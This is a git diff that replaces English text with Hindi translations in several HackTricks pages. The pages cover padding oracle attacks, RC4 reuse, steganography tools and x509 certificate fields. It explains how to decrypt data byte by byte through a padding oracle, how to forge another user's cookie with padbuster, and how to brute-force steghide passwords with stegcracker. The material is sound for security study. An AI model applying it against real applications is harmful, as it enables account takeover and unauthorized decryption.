**संक्षेप में**, आप सभी **विभिन्न पैडिंग** बनाने के लिए उपयोग किए जा सकने वाले सही मानों का अनुमान लगाकर एन्क्रिप्टेड डेटा को डिक्रिप्ट करना शुरू कर सकते हैं। फिर, पैडिंग ऑरेकल अटैक अंत से शुरू होकर सही मान का अनुमान लगाते हुए बाइट्स को डिक्रिप्ट करना शुरू करेगा जो **1, 2, 3, आदि** की पैडिंग बनाता है।
|
||||
|
||||
.png>)
|
||||
|
||||
Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\
|
||||
In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\
|
||||
Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So:
|
||||
कल्पना करें कि आपके पास कुछ एन्क्रिप्टेड टेक्स्ट है जो **2 ब्लॉक्स** में फैला हुआ है जो **E0 से E15** तक के बाइट्स से बना है।\
|
||||
**अंतिम** **ब्लॉक** (**E8** से **E15**) को **डिक्रिप्ट** करने के लिए, पूरा ब्लॉक "ब्लॉक सिफर डिक्रिप्शन" के माध्यम से जाता है जिससे **मध्यवर्ती बाइट्स I0 से I15** उत्पन्न होते हैं।\
|
||||
अंत में, प्रत्येक मध्यवर्ती बाइट को पिछले एन्क्रिप्टेड बाइट्स (E0 से E7) के साथ **XOR** किया जाता है। तो:
|
||||
|
||||
- `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||
- `C14 = I14 ^ E6`
|
||||
@ -82,31 +72,30 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes (
|
||||
- `C12 = I12 ^ E4`
|
||||
- ...
|
||||
|
||||
Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7`
|
||||
अब, यह संभव है कि **`E7` को इस तरह से संशोधित करें कि `C15` `0x01` हो**, जो एक सही पैडिंग भी होगी। तो, इस मामले में: `\x01 = I15 ^ E'7`
|
||||
|
||||
So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7`
|
||||
तो, E'7 को खोजकर, **I15** की गणना करना संभव है: `I15 = 0x01 ^ E'7`
|
||||
|
||||
Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
जो हमें **C15** की गणना करने की अनुमति देता है: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
|
||||
Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`.
|
||||
**C15** को जानकर, अब **C14** की गणना करना संभव है, लेकिन इस बार पैडिंग `\x02\x02` को ब्रूट-फोर्स करते हुए।
|
||||
|
||||
This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\
|
||||
Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
यह BF पिछले एक के रूप में जटिल है क्योंकि यह `E''15` की गणना करना संभव है जिसका मान 0x02 है: `E''7 = \x02 ^ I15` इसलिए केवल **`E'14`** को खोजने की आवश्यकता है जो **`C14` को `0x02`** के बराबर बनाता है।\
|
||||
फिर, C14 को डिक्रिप्ट करने के लिए वही कदम उठाएं: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
|
||||
**Follow this chain until you decrypt the whole encrypted text.**
|
||||
**इस श्रृंखला का पालन करें जब तक आप पूरे एन्क्रिप्टेड टेक्स्ट को डिक्रिप्ट न कर लें।**
|
||||
|
||||
### Detection of the vulnerability
|
||||
### भेद्यता का पता लगाना
|
||||
|
||||
Register and account and log in with this account .\
|
||||
If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t.
|
||||
एक रजिस्टर और खाता बनाएं और इस खाते से लॉग इन करें।\
|
||||
यदि आप **कई बार लॉग इन करते हैं** और हमेशा **एक ही कुकी** प्राप्त करते हैं, तो संभवतः एप्लिकेशन में **कुछ** **गलत** है। **कुकी हर बार लॉग इन करते समय अद्वितीय होनी चाहिए**। यदि कुकी **हमेशा** **एक ही** है, तो यह संभवतः हमेशा मान्य होगी और इसे अमान्य करने का कोई तरीका नहीं होगा।
|
||||
|
||||
Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\
|
||||
But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster.
|
||||
अब, यदि आप **कुकी** को **संशोधित** करने की कोशिश करते हैं, तो आप देख सकते हैं कि आपको एप्लिकेशन से एक **त्रुटि** मिलती है।\
|
||||
लेकिन यदि आप पैडिंग को BF करते हैं (उदाहरण के लिए padbuster का उपयोग करते हुए) तो आप एक अन्य उपयोगकर्ता के लिए मान्य कुकी प्राप्त करने में सफल होते हैं। यह परिदृश्य padbuster के लिए अत्यधिक संभावित रूप से संवेदनशील है।
|
||||
|
||||
### References
|
||||
### संदर्भ
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,8 +1,8 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function.
|
||||
यदि आप किसी तरह RC4 का उपयोग करके एक plaintext को एन्क्रिप्ट कर सकते हैं, तो आप उसी पासवर्ड का उपयोग करके उस RC4 द्वारा एन्क्रिप्ट की गई किसी भी सामग्री को केवल एन्क्रिप्शन फ़ंक्शन का उपयोग करके डिक्रिप्ट कर सकते हैं।
|
||||
|
||||
If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine:
|
||||
यदि आप एक ज्ञात plaintext को एन्क्रिप्ट कर सकते हैं, तो आप पासवर्ड भी निकाल सकते हैं। अधिक संदर्भ HTB Kryptos मशीन में मिल सकते हैं:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
|
||||
|
||||
@ -2,50 +2,41 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Extracting Data from Files**
|
||||
## **फाइलों से डेटा निकालना**
|
||||
|
||||
### **Binwalk**
|
||||
|
||||
A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
एक उपकरण जो बाइनरी फाइलों में छिपी हुई फाइलों और डेटा की खोज करता है। इसे `apt` के माध्यम से स्थापित किया जाता है और इसका स्रोत [GitHub](https://github.com/ReFirmLabs/binwalk) पर उपलब्ध है।
|
||||
```bash
|
||||
binwalk file # Displays the embedded data
|
||||
binwalk -e file # Extracts the data
|
||||
binwalk --dd ".*" file # Extracts all data
|
||||
```
|
||||
|
||||
### **Foremost**
|
||||
|
||||
Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost).
|
||||
|
||||
हेडर और फुटर के आधार पर फ़ाइलों को पुनर्प्राप्त करता है, png छवियों के लिए उपयोगी। `apt` के माध्यम से स्थापित किया गया है, इसका स्रोत [GitHub](https://github.com/korczis/foremost) पर है।
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
|
||||
### **Exiftool**
|
||||
|
||||
Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/).
|
||||
|
||||
फाइल मेटाडेटा देखने में मदद करता है, उपलब्ध [यहाँ](https://www.sno.phy.queensu.ca/~phil/exiftool/)।
|
||||
```bash
|
||||
exiftool file # Shows the metadata
|
||||
```
|
||||
|
||||
### **Exiv2**
|
||||
|
||||
Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/).
|
||||
|
||||
Exiftool के समान, मेटाडेटा देखने के लिए। `apt` के माध्यम से स्थापित किया जा सकता है, स्रोत [GitHub](https://github.com/Exiv2/exiv2) पर है, और इसका [आधिकारिक वेबसाइट](http://www.exiv2.org/) है।
|
||||
```bash
|
||||
exiv2 file # Shows the metadata
|
||||
```
|
||||
### **फाइल**
|
||||
|
||||
### **File**
|
||||
आप जिस फाइल से निपट रहे हैं, उसकी पहचान करें।
|
||||
|
||||
Identify the type of file you're dealing with.
|
||||
|
||||
### **Strings**
|
||||
|
||||
Extracts readable strings from files, using various encoding settings to filter the output.
|
||||
### **स्ट्रिंग्स**
|
||||
|
||||
फाइलों से पठनीय स्ट्रिंग्स निकालता है, आउटपुट को फ़िल्टर करने के लिए विभिन्न एन्कोडिंग सेटिंग्स का उपयोग करता है।
|
||||
```bash
|
||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||
strings -n 6 file | head -n 20 # First 20 strings
|
||||
@ -57,74 +48,65 @@ strings -e b -n 6 file # 16bit strings (big-endian)
|
||||
strings -e L -n 6 file # 32bit strings (little-endian)
|
||||
strings -e B -n 6 file # 32bit strings (big-endian)
|
||||
```
|
||||
|
||||
### **Comparison (cmp)**
|
||||
|
||||
Useful for comparing a modified file with its original version found online.
|
||||
|
||||
ऑनलाइन पाए गए मूल संस्करण के साथ संशोधित फ़ाइल की तुलना करने के लिए उपयोगी।
|
||||
```bash
|
||||
cmp original.jpg stego.jpg -b -l
|
||||
```
|
||||
## **पाठ में छिपे डेटा को निकालना**
|
||||
|
||||
## **Extracting Hidden Data in Text**
|
||||
### **स्पेस में छिपा डेटा**
|
||||
|
||||
### **Hidden Data in Spaces**
|
||||
दृश्यमान रूप से खाली स्पेस में अदृश्य वर्ण जानकारी छिपा सकते हैं। इस डेटा को निकालने के लिए, [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) पर जाएं।
|
||||
|
||||
Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||
## **छवियों से डेटा निकालना**
|
||||
|
||||
## **Extracting Data from Images**
|
||||
|
||||
### **Identifying Image Details with GraphicMagick**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) serves to determine image file types and identify potential corruption. Execute the command below to inspect an image:
|
||||
### **GraphicMagick के साथ छवि विवरण की पहचान करना**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) छवि फ़ाइल प्रकारों को निर्धारित करने और संभावित भ्रष्टाचार की पहचान करने के लिए कार्य करता है। एक छवि का निरीक्षण करने के लिए नीचे दिए गए कमांड को निष्पादित करें:
|
||||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
|
||||
To attempt repair on a damaged image, adding a metadata comment might help:
|
||||
|
||||
एक क्षतिग्रस्त छवि की मरम्मत करने के लिए, एक मेटाडेटा टिप्पणी जोड़ना मदद कर सकता है:
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### **Steghide के लिए डेटा छिपाना**
|
||||
|
||||
### **Steghide for Data Concealment**
|
||||
Steghide `JPEG, BMP, WAV, और AU` फ़ाइलों के भीतर डेटा छिपाने की सुविधा प्रदान करता है, जो एन्क्रिप्टेड डेटा को एम्बेड और निकालने में सक्षम है। इंस्टॉलेशन `apt` का उपयोग करके सीधा है, और इसका [स्रोत कोड GitHub पर उपलब्ध है](https://github.com/StefanoDeVuono/steghide)।
|
||||
|
||||
Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||
**कमांड:**
|
||||
|
||||
**Commands:**
|
||||
- `steghide info file` यह प्रकट करता है कि क्या एक फ़ाइल में छिपा हुआ डेटा है।
|
||||
- `steghide extract -sf file [--passphrase password]` छिपा हुआ डेटा निकालता है, पासवर्ड वैकल्पिक है।
|
||||
|
||||
- `steghide info file` reveals if a file contains hidden data.
|
||||
- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional.
|
||||
वेब-आधारित निष्कर्षण के लिए, [इस वेबसाइट](https://futureboy.us/stegano/decinput.html) पर जाएं।
|
||||
|
||||
For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html).
|
||||
|
||||
**Bruteforce Attack with Stegcracker:**
|
||||
|
||||
- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows:
|
||||
**Stegcracker के साथ ब्रूटफोर्स अटैक:**
|
||||
|
||||
- Steghide पर पासवर्ड क्रैक करने का प्रयास करने के लिए, [stegcracker](https://github.com/Paradoxis/StegCracker.git) का उपयोग करें:
|
||||
```bash
|
||||
stegcracker <file> [<wordlist>]
|
||||
```
|
||||
|
||||
### **zsteg for PNG and BMP Files**
|
||||
|
||||
zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg).
|
||||
zsteg PNG और BMP फ़ाइलों में छिपे डेटा को उजागर करने में विशेषज्ञता रखता है। स्थापना `gem install zsteg` के माध्यम से की जाती है, इसके [source on GitHub](https://github.com/zed-0xff/zsteg) पर।
|
||||
|
||||
**Commands:**
|
||||
|
||||
- `zsteg -a file` applies all detection methods on a file.
|
||||
- `zsteg -E file` specifies a payload for data extraction.
|
||||
- `zsteg -a file` एक फ़ाइल पर सभी पहचान विधियों को लागू करता है।
|
||||
- `zsteg -E file` डेटा निष्कर्षण के लिए एक पेलोड निर्दिष्ट करता है।
|
||||
|
||||
### **StegoVeritas and Stegsolve**
|
||||
|
||||
**stegoVeritas** checks metadata, performs image transformations, and applies LSB brute forcing among other features. Use `stegoveritas.py -h` for a full list of options and `stegoveritas.py stego.jpg` to execute all checks.
|
||||
**stegoVeritas** मेटाडेटा की जांच करता है, छवि रूपांतरण करता है, और अन्य सुविधाओं के बीच LSB ब्रूट फोर्सिंग लागू करता है। विकल्पों की पूरी सूची के लिए `stegoveritas.py -h` का उपयोग करें और सभी जांच करने के लिए `stegoveritas.py stego.jpg` चलाएँ।
|
||||
|
||||
**Stegsolve** applies various color filters to reveal hidden texts or messages within images. It's available on [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||
**Stegsolve** छवियों के भीतर छिपे पाठ या संदेशों को प्रकट करने के लिए विभिन्न रंग फ़िल्टर लागू करता है। यह [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) पर उपलब्ध है।
|
||||
|
||||
### **FFT for Hidden Content Detection**
|
||||
|
||||
Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include:
|
||||
Fast Fourier Transform (FFT) तकनीकें छवियों में छिपे सामग्री को उजागर कर सकती हैं। उपयोगी संसाधनों में शामिल हैं:
|
||||
|
||||
- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
@ -132,20 +114,18 @@ Fast Fourier Transform (FFT) techniques can unveil concealed content in images.
|
||||
|
||||
### **Stegpy for Audio and Image Files**
|
||||
|
||||
Stegpy allows embedding information into image and audio files, supporting formats like PNG, BMP, GIF, WebP, and WAV. It's available on [GitHub](https://github.com/dhsdshdhk/stegpy).
|
||||
Stegpy छवि और ऑडियो फ़ाइलों में जानकारी को एम्बेड करने की अनुमति देता है, जो PNG, BMP, GIF, WebP, और WAV जैसे प्रारूपों का समर्थन करता है। यह [GitHub](https://github.com/dhsdshdhk/stegpy) पर उपलब्ध है।
|
||||
|
||||
### **Pngcheck for PNG File Analysis**
|
||||
|
||||
To analyze PNG files or to validate their authenticity, use:
|
||||
|
||||
PNG फ़ाइलों का विश्लेषण करने या उनकी प्रामाणिकता को मान्य करने के लिए, उपयोग करें:
|
||||
```bash
|
||||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
```
|
||||
### **छवि विश्लेषण के लिए अतिरिक्त उपकरण**
|
||||
|
||||
### **Additional Tools for Image Analysis**
|
||||
|
||||
For further exploration, consider visiting:
|
||||
अधिक अन्वेषण के लिए, विचार करें:
|
||||
|
||||
- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
@ -153,66 +133,60 @@ For further exploration, consider visiting:
|
||||
- [OpenStego](https://www.openstego.com/)
|
||||
- [DIIT](https://diit.sourceforge.net/)
|
||||
|
||||
## **Extracting Data from Audios**
|
||||
## **ऑडियो से डेटा निकालना**
|
||||
|
||||
**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content.
|
||||
**ऑडियो स्टेगनोग्राफी** ध्वनि फ़ाइलों के भीतर जानकारी छिपाने के लिए एक अनूठा तरीका प्रदान करती है। छिपी हुई सामग्री को एम्बेड या पुनः प्राप्त करने के लिए विभिन्न उपकरणों का उपयोग किया जाता है।
|
||||
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
|
||||
Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide).
|
||||
Steghide एक बहुपरकारी उपकरण है जिसे JPEG, BMP, WAV, और AU फ़ाइलों में डेटा छिपाने के लिए डिज़ाइन किया गया है। विस्तृत निर्देश [stego tricks documentation](stego-tricks.md#steghide) में प्रदान किए गए हैं।
|
||||
|
||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||
|
||||
This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
||||
यह उपकरण PNG, BMP, GIF, WebP, और WAV सहित विभिन्न प्रारूपों के साथ संगत है। अधिक जानकारी के लिए, [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav) देखें।
|
||||
|
||||
### **ffmpeg**
|
||||
|
||||
ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies.
|
||||
|
||||
ffmpeg ऑडियो फ़ाइलों की अखंडता का आकलन करने के लिए महत्वपूर्ण है, विस्तृत जानकारी को उजागर करता है और किसी भी विसंगतियों को इंगित करता है।
|
||||
```bash
|
||||
ffmpeg -v info -i stego.mp3 -f null -
|
||||
```
|
||||
|
||||
### **WavSteg (WAV)**
|
||||
|
||||
WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include:
|
||||
|
||||
WavSteg WAV फ़ाइलों के भीतर डेटा को छिपाने और निकालने में सबसे कम महत्वपूर्ण बिट रणनीति का उपयोग करके उत्कृष्ट है। यह [GitHub](https://github.com/ragibson/Steganography#WavSteg) पर उपलब्ध है। कमांड में शामिल हैं:
|
||||
```bash
|
||||
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||
|
||||
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
||||
```
|
||||
|
||||
### **Deepsound**
|
||||
|
||||
Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx).
|
||||
Deepsound ध्वनि फ़ाइलों के भीतर जानकारी के एन्क्रिप्शन और पहचान की अनुमति देता है, जिसका उपयोग AES-256 किया जाता है। इसे [the official page](http://jpinsoft.net/deepsound/download.aspx) से डाउनलोड किया जा सकता है।
|
||||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more.
|
||||
ऑडियो फ़ाइलों के दृश्य और विश्लेषणात्मक निरीक्षण के लिए एक अमूल्य उपकरण, Sonic Visualizer छिपे हुए तत्वों को उजागर कर सकता है जो अन्य तरीकों से पता नहीं चल सकते। अधिक जानकारी के लिए [official website](https://www.sonicvisualiser.org/) पर जाएं।
|
||||
|
||||
### **DTMF Tones - Dial Tones**
|
||||
|
||||
Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
ऑडियो फ़ाइलों में DTMF टोन का पता लगाने के लिए ऑनलाइन उपकरणों का उपयोग किया जा सकता है जैसे कि [this DTMF detector](https://unframework.github.io/dtmf-detect/) और [DialABC](http://dialabc.com/sound/detect/index.html)।
|
||||
|
||||
## **Other Techniques**
|
||||
|
||||
### **Binary Length SQRT - QR Code**
|
||||
|
||||
Binary data that squares to a whole number might represent a QR code. Use this snippet to check:
|
||||
|
||||
बाइनरी डेटा जो एक पूर्ण संख्या के लिए वर्ग करता है, एक QR कोड का प्रतिनिधित्व कर सकता है। जांचने के लिए इस स्निपेट का उपयोग करें:
|
||||
```python
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
```
|
||||
बाइनरी से इमेज रूपांतरण के लिए, [dcode](https://www.dcode.fr/binary-image) की जांच करें। QR कोड पढ़ने के लिए, [इस ऑनलाइन बारकोड रीडर](https://online-barcode-reader.inliteresearch.com/) का उपयोग करें।
|
||||
|
||||
For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
|
||||
### **ब्रेल अनुवाद**
|
||||
|
||||
### **Braille Translation**
|
||||
ब्रेल का अनुवाद करने के लिए, [Branah Braille Translator](https://www.branah.com/braille-translator) एक उत्कृष्ट संसाधन है।
|
||||
|
||||
For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource.
|
||||
|
||||
## **References**
|
||||
## **संदर्भ**
|
||||
|
||||
- [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
- [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
@ -2,46 +2,37 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## What is a Certificate
|
||||
|
||||
A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible.
|
||||
A **public key certificate** एक डिजिटल आईडी है जिसका उपयोग क्रिप्टोग्राफी में किसी के सार्वजनिक कुंजी के स्वामित्व को साबित करने के लिए किया जाता है। इसमें कुंजी के विवरण, मालिक की पहचान (विषय), और एक विश्वसनीय प्राधिकरण (जारीकर्ता) से डिजिटल हस्ताक्षर शामिल होता है। यदि सॉफ़्टवेयर जारीकर्ता पर भरोसा करता है और हस्ताक्षर मान्य है, तो कुंजी के मालिक के साथ सुरक्षित संचार संभव है।
|
||||
|
||||
Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280.
|
||||
Certificates ज्यादातर [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) द्वारा [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) सेटअप में जारी किए जाते हैं। एक अन्य विधि [web of trust](https://en.wikipedia.org/wiki/Web_of_trust) है, जहां उपयोगकर्ता सीधे एक-दूसरे की कुंजी की पुष्टि करते हैं। Certificates के लिए सामान्य प्रारूप [X.509](https://en.wikipedia.org/wiki/X.509) है, जिसे RFC 5280 में वर्णित विशिष्ट आवश्यकताओं के लिए अनुकूलित किया जा सकता है।
|
||||
|
||||
## x509 Common Fields
|
||||
|
||||
### **Common Fields in x509 Certificates**
|
||||
|
||||
In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
|
||||
x509 certificates में, कई **fields** प्रमाणपत्र की वैधता और सुरक्षा सुनिश्चित करने में महत्वपूर्ण भूमिका निभाते हैं। इन fields का विवरण इस प्रकार है:
|
||||
|
||||
- **Version Number** signifies the x509 format's version.
|
||||
- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
|
||||
- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
|
||||
- **Common Name (CN)**: Domains covered by the certificate.
|
||||
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
|
||||
- **Distinguished Name (DN)** encapsulates the full subject identification.
|
||||
- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
|
||||
- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
|
||||
- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
|
||||
- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
|
||||
- **Version Number** x509 प्रारूप के संस्करण को दर्शाता है।
|
||||
- **Serial Number** प्रमाणपत्र को एक Certificate Authority (CA) प्रणाली के भीतर अद्वितीय रूप से पहचानता है, मुख्य रूप से रद्दीकरण ट्रैकिंग के लिए।
|
||||
- **Subject** field प्रमाणपत्र के मालिक का प्रतिनिधित्व करता है, जो एक मशीन, एक व्यक्ति, या एक संगठन हो सकता है। इसमें विस्तृत पहचान शामिल है जैसे:
|
||||
- **Common Name (CN)**: प्रमाणपत्र द्वारा कवर किए गए डोमेन।
|
||||
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, और **Organizational Unit (OU)** भौगोलिक और संगठनात्मक विवरण प्रदान करते हैं।
|
||||
- **Distinguished Name (DN)** पूर्ण विषय पहचान को संक्षिप्त करता है।
|
||||
- **Issuer** विवरण देता है कि किसने प्रमाणपत्र की पुष्टि और हस्ताक्षर किया, जिसमें CA के लिए विषय के समान उपक्षेत्र शामिल हैं।
|
||||
- **Validity Period** को **Not Before** और **Not After** टाइमस्टैम्प द्वारा चिह्नित किया जाता है, यह सुनिश्चित करते हुए कि प्रमाणपत्र को किसी निश्चित तिथि से पहले या बाद में उपयोग नहीं किया जाता है।
|
||||
- **Public Key** अनुभाग, जो प्रमाणपत्र की सुरक्षा के लिए महत्वपूर्ण है, सार्वजनिक कुंजी के एल्गोरिदम, आकार, और अन्य तकनीकी विवरण निर्दिष्ट करता है।
|
||||
- **x509v3 extensions** प्रमाणपत्र की कार्यक्षमता को बढ़ाते हैं, **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, और अन्य गुणों को निर्दिष्ट करते हैं ताकि प्रमाणपत्र के आवेदन को ठीक से समायोजित किया जा सके।
|
||||
|
||||
#### **Key Usage and Extensions**
|
||||
|
||||
- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
|
||||
- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
|
||||
- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
|
||||
- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
|
||||
- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
|
||||
- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
|
||||
|
||||
- **Key Usage** सार्वजनिक कुंजी के क्रिप्टोग्राफिक अनुप्रयोगों की पहचान करता है, जैसे डिजिटल हस्ताक्षर या कुंजी एन्क्रिप्शन।
|
||||
- **Extended Key Usage** प्रमाणपत्र के उपयोग के मामलों को और संकीर्ण करता है, जैसे कि TLS सर्वर प्रमाणीकरण के लिए।
|
||||
- **Subject Alternative Name** और **Basic Constraint** प्रमाणपत्र द्वारा कवर किए गए अतिरिक्त होस्ट नामों और यह कि क्या यह एक CA या अंत-इकाई प्रमाणपत्र है, को परिभाषित करते हैं।
|
||||
- **Subject Key Identifier** और **Authority Key Identifier** जैसे पहचानकर्ता कुंजी की अद्वितीयता और ट्रेसबिलिटी सुनिश्चित करते हैं।
|
||||
- **Authority Information Access** और **CRL Distribution Points** जारीकर्ता CA की पुष्टि करने और प्रमाणपत्र रद्दीकरण स्थिति की जांच करने के लिए पथ प्रदान करते हैं।
|
||||
- **CT Precertificate SCTs** पारदर्शिता लॉग प्रदान करते हैं, जो प्रमाणपत्र में सार्वजनिक विश्वास के लिए महत्वपूर्ण हैं।
|
||||
```python
|
||||
